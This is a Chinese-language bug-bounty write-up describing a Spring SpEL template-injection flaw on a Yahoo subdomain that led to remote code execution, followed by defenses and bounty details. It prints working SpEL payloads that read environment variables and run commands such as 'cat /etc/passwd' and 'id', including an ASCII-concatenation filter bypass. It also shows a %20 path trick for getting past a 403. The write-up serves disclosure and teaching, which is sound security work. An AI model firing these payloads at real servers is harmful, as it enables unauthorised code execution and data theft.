挖洞经验 | 通过SPRING ENGINE SSTI导致的雅虎RCE
字数 1448 2025-08-18 11:37:53
Spring Engine SSTI漏洞分析与利用教学文档
1. 漏洞概述
Spring Engine SSTI (Server-Side Template Injection) 是一种服务器端模板注入漏洞,允许攻击者在服务器上执行任意代码。本教学文档将详细分析该漏洞的发现过程、利用方法及防御措施。
2. 漏洞发现过程
2.1 信息收集阶段
-
子域名枚举:
- 使用工具:Shodan、Censys、crt.sh、DNSDumpster
- 使用脚本:dirsearch、aquatone、massdns
- 发现目标子域:datax.yahoo.com
-
目录扫描:
- 发现访问根目录重定向到/swagger-ui.html并返回403
- 关键发现:添加空格字符(%20)后状态码变为200
- 有效URL:https://datax.yahoo.com/%20/
2.2 API接口测试
- 通过Swagger UI发现API文档
- 测试未授权API接口
- 发现返回White Label Error页面且输入参数被反射
3. 漏洞验证
3.1 初始测试
- 尝试XSS payload失败
- 测试SSTI payload:
${7*7}- 成功执行并返回计算结果49
- 确认存在服务器端模板注入
3.2 确定模板引擎
- 通过语法特征确定为Spring Engine Template
- 确认方式:
${...}语法结构- 算术表达式执行
4. 漏洞利用
4.1 信息泄露
- 获取环境变量:
${T(java.lang.System).getenv()}
4.2 命令执行
-
直接执行命令失败:
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} -
使用ASCII码拼接绕过:
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}- 此payload等效于执行
cat /etc/passwd
- 此payload等效于执行
-
执行
id命令示例:${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(105).concat(T(java.lang.Character).toString(100))).getInputStream())}
5. 漏洞原理分析
-
Spring表达式语言(SpEL):
- 允许在运行时执行表达式
${}是SpEL的标准语法
-
危险函数调用:
- 通过
T()操作符访问Java类 - 调用Runtime.getRuntime().exec()执行系统命令
- 通过
-
限制绕过技术:
- 使用ASCII码拼接绕过字符串过滤
- 使用IOUtils.toString获取命令执行结果
6. 防御措施
-
输入验证:
- 对所有用户输入进行严格验证
- 过滤
${、T(等特殊字符
-
安全配置:
- 禁用SpEL表达式解析
- 使用安全的模板引擎配置
-
最小权限原则:
- 限制应用程序运行权限
- 使用沙箱环境运行敏感操作
-
错误处理:
- 使用自定义错误页面
- 避免泄露敏感信息
7. 漏洞赏金信息
- 初始奖励:$500
- 修复后奖励:$7,500
- 总奖励:$8,000
8. 参考资源
-
Spring Boot自定义错误页面:
https://docs.spring.io/spring-boot/docs/current/reference/html/howto-actuator.html -
Spring Engine SSTI研究:
http://deadpool.sh/2017/RCE-Springs/ -
原始研究文章:
https://hawkinsecurity.com/2017/12/13/rce-via-spring-engine-ssti/
9. 总结
Spring Engine SSTI是一种严重的服务器端漏洞,允许攻击者执行任意代码并获取系统权限。通过本教学文档,我们详细分析了漏洞的发现过程、验证方法和利用技术,并提供了相应的防御措施。安全研究人员在测试时应遵循负责任的披露原则,开发人员应重视输入验证和安全配置以防止此类漏洞。